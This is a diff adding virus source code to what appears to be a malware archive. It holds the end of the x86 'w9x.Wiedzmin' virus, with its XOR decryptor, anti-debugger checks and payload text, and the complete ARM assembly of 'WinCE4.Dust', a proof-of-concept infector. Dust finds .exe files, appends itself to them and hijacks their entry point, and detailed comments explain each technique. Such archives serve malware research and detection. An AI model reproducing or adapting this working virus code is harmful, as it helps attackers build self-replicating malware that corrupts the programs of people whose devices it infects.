"GetModuleHandleA",0 + db "Sleep",0 + db "GetSystemTime",0 + db "WritePrivateProfileStringA",0 + db "VirtualAlloc",0 + db "VirtualFree",0 + db "GetCurrentDirectoryA",0,07h ;07h stops the looking up + +msg dd 0BFF44146h + +key dd 0 + +;shit7 db "w.dll",0 + +marker db 'sru.exe',0 +;marker db '*.exe',0 + + + +TO_CRYPT_DATA: to_ja: db 0ah,0dh + db "",0ah,0dh + db "",0ah,0dh + db "₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯",0ah,0dh + db "Ζ Deithwen Addan Flared Again",0ah,0dh + db "Ζ You have eyez, but u can't see",0ah,0dh + db "Ζ You have earz, but u can't hear",0ah,0dh + db "Ζ Wake up from unreal world before",0ah,0dh + db "Ζ you drown in the Sea of Chaos.",0ah,0dh + db "",0ah,0dh + db "₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯₯",0ah,0dh + db 0ah,0dh,0 + wsock db "\WSOCK32.dll",0 + nowe db "\WZZOCK32.dll",0 + sice9x db "\\.\SICE",0 + sle db "WSASetLastError",0 + user32 db "USER32.DLL",0 + gdi32 db "GDI32.DLL",0 + WININIT db "WININIT.INI",0 + rename db "rename",0 + jed db "X",0 + famil db "Verdana",0 + logo db ": w9x.WiEDZMiN has you :",0 + deshit db "kfe",0,07h + + + + + +@crypt_my_body: +push ecx +call dword ptr [ebp+_GetTickCount] +mov ebx,255 +idiv ebx +mov ecx,edx + +@mutualisk: +mov byte ptr [edi],90h +inc edi +loop @mutualisk +pop ecx + +pushad +lea edx,[ebp+offset @to_this] +mov eax,[ebp+key_main] +mov ecx,TO_DE + +@loop_decryptt: +xor byte ptr [edx],al +inc edx +loop @loop_decryptt +@end_de: +popad +rep movsb +mov edi,'!PUY' +call @main_decryptor +ret + + + +key_main dd 0 + +;db 5 dup (90h) + + + ; align dword +VirusEnd label byte + +;==================================================FIND========================================= +;=============================================VirtualData nie idzie do wira===================== + +HeapStart label byte +finddata WIN32_FIND_DATA <> ;wskaznik do struktury +fileHandle dd 0 +fileAtrib dd 0 + + +licznik_b dd 0 + + +APIListA: _FindFirstFileA dd 0 + _FindNextFileA dd 0 + _FindClose dd 0 + _SetAttributesA dd 0 + _SetFileTime dd 0 + _CreateFileA dd 0 + _CreateFileMappingA dd 0 + _MapViewOfFile dd 0 + _UnmapViewOfFile dd 0 + _GetFileTime dd 0 + _GetFileSize dd 0 + _GetFileAttributesA dd 0 + _SetFileAttributesA dd 0 + _ReadFile dd 0 + _WriteFile dd 0 + _SetFilePointer dd 0 + _SetEndOfFile dd 0 + _CloseHandle dd 0 + _SetCurrentDirectoryA dd 0 + _GetWindowsDirectoryA dd 0 + _GetSystemDirectoryA dd 0 + _CopyFileA dd 0 + _ExitProcess dd 0 + _GetTickCount dd 0 + _GetCommandLineA dd 0 + _IsDebuggerPresent dd 0 + _OutputDebugStringA dd 0 + _WinExec dd 0 + _LoadLibraryA dd 0 + _GetModuleHandleA dd 0 + _Sleep dd 0 + _GetSystemTime dd 0 + _WritePrivateProfileStringA dd 0 + _VirtualAlloc dd 0 + _VirtualFree dd 0 + _GetCurrentDirectoryA dd 0 + + +@GDI_APIZA: _CreateFontA dd 0 + _TextOutA dd 0 + _SetBkMode dd 0 + _SetTextColor dd 0 + _SelectObject dd 0 + _GetSystemMetrics dd 0 + _GetDesktopWindow dd 0 + _GetWindowDC dd 0 + _ReleaseDC dd 0 + + +SYSTEM_TIME: wYear dw 0 + wMonth dw 0 + wDayOfWeek dw 0 + wDay dw 0 + wHour dw 0 + wMinute dw 0 + wSecond dw 0 + wMilliseconds dw 0 + + + +F1: dd 2 dup (?) +F2: dd 2 dup (?) +F3: dd 2 dup (?) + +vbuf dd 0 +help_virus dd 0 +memory dd 0 +header dd 0 +align dd 0 +_hostIP dd 0 +_secAlign dd 0 +newEIP dd 0 +NewEIP dd 0 +firstk dd 0 +key2 dd 0 + +go_wsock dd 0 +wsock_h dd 0 +moj_address dd 0 +capis dd 0 +wsock_hh dd 0 + +NON dd 0 ;numbers of names +AOF dd 0 ;addr of Functions +AON dd 0 ;addr of Names +AOO dd 0 ;addr of Ordinals + +IndexA dd 0 +_GPA dd 0 + +fHnd dd 0 +fHndMap dd 0 +fMapReal dd 0 +fSize dd 0 + +my_seh dd 0 + +was_win dd 0 +ic dd 0 +sHnd dd 0 +shitsize dd 0 + + +oldDIR db 512 dup (?) +winDIR db 260 dup (?) +sysDIR db 260 dup (?) +winDIRr db 260 dup (?) +db 5 dup (?) + + + + +toHOST dd 0 + + + ; align dword +HeapEnd label byte + + + +titlee db "w9x.Wiedzmin by YuP - 1st Generation",0 +bodyy db "Elaine blath, Feainnewedd",0ah,0dh + db "Dearme aen a'caelme tedd",0ah,0dh + db "Eigean evelienn deireadh",0ah,0dh + db "Que'n esse, va en esseath",0ah,0dh + db "Feainnewedd, elaine blath!" + db 0ah,0dh + virussizee + db " bytes",0 + +fakehost: +push 0h +push offset titlee +push offset bodyy +push 0h +call MessageBoxA + + +push 0h +call ExitProcess + + +endshit: ends + + +End v_start diff --git a/LegacyWindows/WinCE.Dust.TXT b/LegacyWindows/WinCE.Dust.TXT new file mode 100644 index 00000000..969aa61b --- /dev/null +++ b/LegacyWindows/WinCE.Dust.TXT @@ -0,0 +1,685 @@ + +** virus_source ** + + CODE32 + + EXPORT WinMainCRTStartup + + AREA .text, CODE, ARM + +virus_start + +; r11 - base pointer +virus_code_start PROC + stmdb sp!, {r0 - r12, lr, pc} + mov r11, sp + sub sp, sp, #56 ; make space on the stack + + ; our stack space gets filled the following way + ; #-56 - udiv + ; #-52 - malloc + ; #-48 - free + ; [r11, #-44] - CreateFileForMappingW + ; #-40 - CloseHandle + ; #-36 - CreateFileMappingW + ; #-32 - MapViewOfFile + ; #-28 - UnmapViewOfFile + ; #-24 - FindFirstFileW + ; #-20 - FindNextFileW + ; #-16 - FindClose + ; #-12 - MessageBoxW + + ; #- 8 - filehandle + ; #- 4 - mapping handle + + bl get_export_section + + ; we'll import via ordinals, not function names, because it's + ; safe - even linker does that + + adr r2, import_ordinals + mov r3, sp + bl lookup_imports + + ; + bl ask_user + beq jmp_to_host ; are we allowed to spread? + ; + + mov r0, #0x23, 28 + mov lr, pc + ldr pc, [r11, #-52] ; allocate WFD + mov r4, r0 + + cmp r0, #0 + beq jmp_to_host + + ; in the following code I use functions FindFirstFile/FindNextFile + ; for finding *.exe files in the current directory. But in this + ; case I made a big mistake. I didn't realize that WinCE is not + ; aware of the current directory and thus we need to use absolute + ; pathnames. That's why this code won't find files in the current + ; directory, but rather always in root directory. I found this out when I + ; was performing final tests, but because the aim was to create a + ; proof-of-concept code and because the infection itself was already + ; limited by the user's permission, I decided not to correct this + ; bug + + adr r0, mask + mov r1, r4 + mov lr, pc + ldr pc, [r11, #-24] ; find first file + cmn r0, #1 + beq free_wfd + + mov r5, r0 +find_files_iterate + ldr r0, [r4, #28] ; filesize high + ldr r1, [r4, #32] ; filesize low + + cmp r0, #0 ; file too big? + bne find_next_file + + cmp r1, #0x1000 ; file smaller than 4096 bytes? + addgt r0, r4, #40 ; gimme file name + blgt infect_file + +find_next_file + mov r0, r5 + mov r1, r4 + mov lr, pc + ldr pc, [r11, #-20] ; find next file + cmp r0, #0 ; is there any left? + bne find_files_iterate + + mov r0, r5 + mov lr, pc + ldr pc, [r11, #-16] + +free_wfd + mov r0, r4 + mov lr, pc + ldr pc, [r11, #-48] ; free WFD + ; + +jmp_to_host + adr r0, host_ep + ldr r1, [r0] ; get host_entry + ldr r2, [r11, #56] ; get pc + add r1, r1, r2 ; add displacement + str r1, [r11, #56] ; store it back + + mov sp, r11 + ldmia sp!, {r0 - r12, lr, pc} + ENDP + + ; we're looking for *.exe files +mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0 + + ; host entry point displacement + ; in first generation let compiler count it +host_ep + DCD host_entry - virus_code_start - 8 + + ; WinCE is a UNICODE-only platform and thus we'll use the W ending + ; for api names (there are no ANSI versions of these) + +import_ordinals + DCW 2008 ; udiv + DCW 1041 ; malloc + DCW 1018 ; free + DCW 1167 ; CreateFileForMappingW + DCW 553 ; CloseHandle + DCW 548 ; CreateFileMappingW + DCW 549 ; MapViewOfFile + DCW 550 ; UnmapViewOfFile + DCW 167 ; FindFirstFileW + DCW 181 ; FindNextFile + DCW 180 ; FindClose + DCW 858 ; MessageBoxW + + DCD 0x0 + + ; basic wide string compare +wstrcmp PROC +wstrcmp_iterate + ldrh r2, [r0], #2 + ldrh r3, [r1], #2 + + cmp r2, #0 + cmpeq r3, #0 + moveq pc, lr + + cmp r2, r3 + beq wstrcmp_iterate + + mov pc, lr + ENDP + + ; on theWin32 platform, almost all important functions were located in the + ; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair + ; was). The first infectors had a hardcoded imagebase of this dll and + ; later they imported needed functions by hand from it. This + ; turned out to be incompatible because different Windows versions might + ; have different imagebases for kernel32. That's why more or less + ; sophisticated methods were found that allowed coding in a + ; compatible way. One of these methods is scanning memory for known values + ; located in PE file header ("MZ") if the address inside the module is + ; given. Because the function inside kernel32 calls the EntryPoint of + ; every Win32 process, we've got this address. Then comparing the word + ; on and aligned address (and decrementing it) against known values is + ; enough to locate the imagebase. If this routine is even covered + ; with SEH (Structured Exception Handling) everything is safe. + + ; I wanted to use this method on WinCE too, but I hit the wall. + ; Probably to save memory space, there are no headers + ; before the first section of the loaded module. There is thus no + ; "MZ" value and scanning cannot be used even we have the address + ; inside coredll.dll (lr registr on our entrypoint). Moreover, we + ; cannot use SEH either, because SEH handlers get installed with + ; the help of a special directory (the exception directory) in the PE file and + ; some data before the function starts - this information would have + ; to be added while infecting the victim (the exception directory + ; would have to be altered) which is of course not impossible -- just + ; a little bit impractical to implement in our basic virus. + + ; That's why I was forced to use a different approach. I looked + ; through the Windows CE 3.0 source code (shared source, + ; downloadable from Microsoft) and tried to find out how the loader + ; performs its task. The Loader needs the pointer to the module's export + ; section and its imagebase to be able to import from it. The result was a + ; KDataStruct at a hardcoded address accessible from user mode (why Microsoft + ; chose to open this loophole, I don't know) + ; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a + ; list of Module structures. There we can find all needed values + ; (name of the module, imagebase and export section RVA). In the + ; code that follows I go through this one-way list and look for + ; structure describing the coredll.dll module. From this structure I + ; get the imagebase and export section RVA (Relative Virtual Address). + + ; what sounds relatively easy was in the end more work than I + ; expected. The problem was to get the offsets in the Module + ; structure. The source code and corresponding headers I had were for + ; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003), + ; where the structure is different. I worked it out using the following + ; sequence: + ; I was able to get the imagebase offset using the trial-and-error + ; method - I used the debugger and tried values inside the + ; structure that looked like valid pointers. If there was something + ; interesting, I did some memory sniffing to realize where I was. + ; The export section pointer was more difficult. There is no real + ; pointer, just the RVA instead. Adding the imagebase to RVA gives us the + ; pointer. That's why I found coredll.dll in memory - namely the + ; list of function names in export section that the library exports. + ; This list is just a series of ASCIIZ names (you can see this list + ; when opening the dll in your favourite hex editor). At the + ; beginning of this list there must be a dll name (in this case + ; coredll.dll) to which a RVA in the export section header + ; points. Substracting the imagebase from the address where the dll + ; name starts gave me an RVA of the dll name. I did a simple byte + ; search for the byte sequence that together made this RVA value. This + ; showed me where the (Export Directory Table).Name Rva is. + ; Because this is a known offset within a known structure (which is + ; in the beginning of export section), I was able to get + ; the export section pointer this way. I again substracted the imagebase to + ; get the export section RVA. I looked up this value in the coredll's + ; Module structure, which finally gave me the export section RVA + ; offset. + + ; this works on Pocket PC 2003; it works on + ; my wince 4.20.0 (build 13252). + ; On different versions the structure offsets might be different :-/ + +; output: +; r0 - coredll base addr +; r1 - export section addr +get_export_section PROC + stmdb sp!, {r4 - r9, lr} + + ldr r4, =0xffffc800 ; KDataStruct + ldr r5, =0x324 ; aInfo[KINX_MODULES] + + add r5, r4, r5 + ldr r5, [r5] + + ; r5 now points to first module + + mov r6, r5 + mov r7, #0 + +iterate + ldr r0, [r6, #8] ; get dll name + adr r1, coredll + bl wstrcmp ; compare with coredll.dll + + ldreq r7, [r6, #0x7c] ; get dll base + ldreq r8, [r6, #0x8c] ; get export section rva + + add r9, r7, r8 + beq got_coredllbase ; is it what we're looking for? + + ldr r6, [r6, #4] + cmp r6, #0 + cmpne r6, r5 + bne iterate ; nope, go on + +got_coredllbase + mov r0, r7 + add r1, r8, r7 ; yep, we've got imagebase + ; and export section pointer + + ldmia sp!, {r4 - r9, pc} + ENDP + +coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 + DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0 + +; r0 - coredll base addr +; r1 - export section addr +; r2 - import ordinals array +; r3 - where to store function adrs +lookup_imports PROC + stmdb sp!, {r4 - r6, lr} + + ldr r4, [r1, #0x10] ; gimme ordinal base + ldr r5, [r1, #0x1c] ; gimme Export Address Table + add r5, r5, r0 + +lookup_imports_iterate + ldrh r6, [r2], #2 ; gimme ordinal + cmp r6, #0 ; last value? + + subne r6, r6, r4 ; substract ordinal base + ldrne r6, [r5, r6, LSL #2] ; gimme export RVA + addne r6, r6, r0 ; add imagebase + strne r6, [r3], #4 ; store function address + bne lookup_imports_iterate + + ldmia sp!, {r4 - r6, pc} + ENDP + +; r0 - filename +; r1 - filesize +infect_file PROC + stmdb sp!, {r0, r1, r4, r5, lr} + + mov r4, r1 + mov r8, r0 + + bl open_file ; first open the file for mapping + cmn r0, #1 + beq infect_file_end + str r0, [r11, #-8] ; store the handle + + mov r0, r4 ; now create the mapping with + ; maximum size == filesize + bl create_mapping + cmp r0, #0 + beq infect_file_end_close_file + str r0, [r11, #-4] ; store the handle + + mov r0, r4 + bl map_file ; map the whole file + cmp r0, #0 + beq infect_file_end_close_mapping + mov r5, r0 + + bl check_header ; is it file that we can infect? + bne infect_file_end_unmap_view + + ldr r0, [r2, #0x4c] ; check the reserved field in + ; optional header against + ldr r1, =0x72617461 ; rata + cmp r0, r1 ; already infected? + beq infect_file_end_unmap_view + + ldr r1, [r2, #0x3c] ; gimme filealignment + adr r0, virus_start + adr r2, virus_end ; compute virus size + sub r0, r2, r0 + mov r7, r0 ; r7 now holds virus_size + add r0, r0, r4 + bl _align_ ; add it to filesize and + mov r6, r0 ; align it to filealignment + ; r6 holds the new filesize + + mov r0, r5 + mov lr, pc + ldr pc, [r11, #-28] ; UnmapViewOfFile + + ldr r0, [r11, #-4] + mov lr, pc + ldr pc, [r11, #-40] ; close mapping handle + + ; + mov r0, r8 + bl open_file ; reopen the file because via + ; closing the mapping handle file + ; handle was closed too + cmn r0, #1 + beq infect_file_end + str r0, [r11, #-8] + + mov r0, r6 ; create mapping again with the + bl create_mapping ; new filesize (with virus appended) + + cmp r0, #0 + beq infect_file_end_close_file + str r0, [r11, #-4] + + mov r0, r6 + bl map_file ; map it + cmp r0, #0 + beq infect_file_end_close_mapping + mov r5, r0 + ; + + ; r5 - mapping base + ; r7 - virus_size + + ldr r4, [r5, #0x3c] ; get PE signature offset + add r4, r4, r5 ; add the base + + ldrh r1, [r4, #6] ; get NumberOfSections + sub r1, r1, #1 ; we want the last section header + ; so dec + mov r2, #0x28 ; multiply with section header size + mul r0, r1, r2 + + add r0, r0, r4 ; add optional header start to displacement + add r0, r0, #0x78 ; add optional header size + + ldr r1, [r4, #0x74] ; get number of data directories + mov r1, r1, LSL #3 ; multiply with sizeof(data_directory) + add r0, r0, r1 ; add it because section headers + ; start after the optional header + ; (including data directories) + + ldr r6, [r4, #0x28] ; gimme entrypoint rva + + ldr r1, [r0, #0x10] ; get last section's size of rawdata + ldr r2, [r0, #0x14] ; and pointer to rawdata + mov r3, r1 + add r1, r1, r2 ; compute pointer to the first + ; byte available for us in the + ; last section + ; (pointer to rawdata + sizeof rawdata) + mov r9, r1 ; r9 now holds the pointer + + ldr r8, [r0, #0xc] ; get RVA of section start + add r3, r3, r8 ; add sizeof rawdata + str r3, [r4, #0x28] ; set entrypoint + + sub r6, r6, r3 ; now compute the displacement so that + ; we can later jump back to the host + sub r6, r6, #8 ; sub 8 because pc points to + ; fetched instruction (viz LTORG) + + mov r10, r0 + ldr r0, [r10, #0x10] ; get size of raw data again + add r0, r0, r7 ; add virus size + ldr r1, [r4, #0x3c] + bl _align_ ; and align + + str r0, [r10, #0x10] ; store new size of rawdata + str r0, [r10, #0x8] ; store new virtual size + + ldr r1, [r10, #0xc] ; get virtual address of last section + add r0, r0, r1 ; add size so get whole image size + str r0, [r4, #0x50] ; and store it + + ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE | + ; IMAGE_SCN_MEM_READ + ldr r1, [r10, #0x24] ; get old section flags + orr r0, r1, r0 ; or it with our needed ones + str r0, [r10, #0x24] ; store new flags + + ldr r0, =0x72617461 + str r0, [r4, #0x4c] ; store our infection mark + + add r1, r9, r5 ; now we'll copy virus body + mov r9, r1 ; to space prepared in last section + adr r0, virus_start + mov r2, r7 + bl simple_memcpy + + adr r0, host_ep ; compute number of bytes between + ; virus start and host ep + adr r1, virus_start + sub r0, r0, r1 ; because we'll store new host_ep + str r6, [r0, r9] ; in the copied virus body + +infect_file_end_unmap_view + mov r0, r5 + mov lr, pc ; unmap the view + ldr pc, [r11, #-28] +infect_file_end_close_mapping + ldr r0, [r11, #-4] + mov lr, pc ; close the mapping + ldr pc, [r11, #-40] +infect_file_end_close_file + ldr r0, [r11, #-8] + mov lr, pc ; close file handle + ldr pc, [r11, #-40] +infect_file_end + ldmia sp!, {r0, r1, r4, r5, pc} ; and return + ENDP + + ; a little reminiscence of my beloved book - Greg Egan's Permutation City + DCB "This code arose from the dust of Permutation City" + ALIGN 4 + + + ; this function checks whether the file we want to infect is + ; suitable +check_header PROC + ldrh r0, [r5] + ldr r1, =0x5a4d ; MZ? + cmp r0, r1 + bne infect_file_end_close_mapping + + ldr r2, [r5, #0x3c] + add r2, r2, r5 + + ldrh r0, [r2] + ldr r1, =0x4550 ; Signature == PE? + cmp r0, r1 + bne check_header_end + + ldrh r0, [r2, #4] + ldr r1, =0x1c0 ; Machine == ARM? + cmp r0, r1 + bne check_header_end + + ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ? + cmp r0, #9 + bne check_header_end + + ldrh r0, [r2, #0x40] + cmp r0, #4 ; windows ce 4? + +check_header_end + mov pc, lr + ENDP + +; r0 - file +open_file PROC + str lr, [sp, #-4]! + + sub sp, sp, #0xc + mov r1, #3 + str r1, [sp] ; OPEN_EXISTING + mov r3, #0 + mov r2, #0 + str r3, [sp, #8] + str r3, [sp, #4] + mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE + mov lr, pc + ldr pc, [r11, #-44] ; call CreateFileForMappingW to + ; get the handle suitable for + ; CreateFileMapping API + ; (on Win32 calling CreateFile is enough) + add sp, sp, #0xc + + ldr pc, [sp], #4 + ENDP + +; r0 - max size low +create_mapping PROC + str lr, [sp, #-4]! + + mov r1, #0 + sub sp, sp, #8 + str r0, [sp] + str r1, [sp, #4] + mov r2, #4 ; PAGE_READWRITE + mov r3, #0 + ldr r0, [r11, #-8] + mov lr, pc + ldr pc, [r11, #-36] + add sp, sp, #8 + + ldr pc, [sp], #4 + ENDP + +; r0 - bytes to map +map_file PROC + str lr, [sp, #-4]! + + sub sp, sp, #4 + str r0, [sp] + ldr r0, [r11, #-4] + mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE + mov r2, #0 + mov r3, #0 + mov lr, pc + ldr pc, [r11, #-32] + add sp, sp, #4 + + ldr pc, [sp], #4 + ENDP + + + ; not optimized (thus simple) mem copy +; r0 - src +; r1 - dst +; r2 - how much +simple_memcpy PROC + ldr r3, [r0], #4 + str r3, [r1], #4 + subs r2, r2, #4 + bne simple_memcpy + mov pc, lr + ENDP + + + ; (r1 - (r1 % r0)) + r0 +; r0 - number to align +; r1 - align to what +_align_ PROC + stmdb sp!, {r4, r5, lr} + + mov r4, r0 + mov r5, r1 + + mov r0, r1 + mov r1, r4 + + ; ARM ISA doesn't have the div instruction so we'll have to call + ; the coredll's div implementation + + mov lr, pc + ldr pc, [r11, #-56] ; udiv + + sub r1, r5, r1 + add r0, r4, r1 + + ldmia sp!, {r4, r5, pc} + ENDP + + ; this function will ask user (via a MessageBox) whether we're + ; allowed to spread or not +ask_user PROC + str lr, [sp, #-4]! + + mov r0, #0 + adr r1, text + adr r2, caption + mov r3, #4 + + mov lr, pc + ldr pc, [r11, #-12] + + cmp r0, #7 + + ldr pc, [sp], #4 + ENDP + + ; notice that the strings are encoded in UNICODE + + ; WinCE4.Dust by Ratter/29A +caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0 + DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0 + DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0 + DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0 + DCB "A", 0x0, 0x0, 0x0 + + ALIGN 4 + + ; Dear User, am I allowed to spread? + +text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0 + DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0 + DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0 + DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0 + DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0 + DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0 + ALIGN 4 + + ; Just a little greeting to AV firms :-) + + DCB "This is proof of concept code. Also, i wanted to make avers happy." + DCB "The situation when Pocket PC antiviruses detect only EICAR file had" + DCB " to end ..." + ALIGN 4 + + ; LTORG is a very important pseudo instruction, which places the + ; literal pool "at" the place of its presence. Because the ARM + ; instruction length is hardcoded to 32 bits, it is not possible in + ; one instruction to load the whole 32bit range into a register (there + ; have to be bits to specify the opcode). That's why the literal + ; pool was introduced, which in fact is just an array of 32bit values + ; that are not possible to load. This data structure is later + ; accessed with the aid of the PC (program counter) register that points + ; to the currently executed instruction + 8 (+ 8 because ARM processors + ; implement a 3 phase pipeline: execute, decode, fetch and the PC + ; points not at the instruction being executed but at the instruction being + ; fetched). An offset is added to PC so that the final pointer + ; points to the right value in the literal pool. + + ; the pseudo instruction ldr rX, = while compiling gets + ; transformed to a mov instruction (if the value is in the range of + ; valid values) or it allocates its place in the literal pool and becomes a + ; ldr, rX, [pc, #] + ; similarly adr and adrl instructions serve to loading addresses + ; to register. + + ; this approach's advantage is that with minimal effort we can get + ; position independent code from the compiler which allows our + ; code to run wherever in the address space the loader will load us. + + LTORG +virus_end + + ; the code after virus_end doesn't get copied to victims + +WinMainCRTStartup PROC + b virus_code_start + ENDP + + ; first generation entry point +host_entry + mvn r0, #0 + mov pc, lr + END +** virus_source_end ** \ No newline at end of file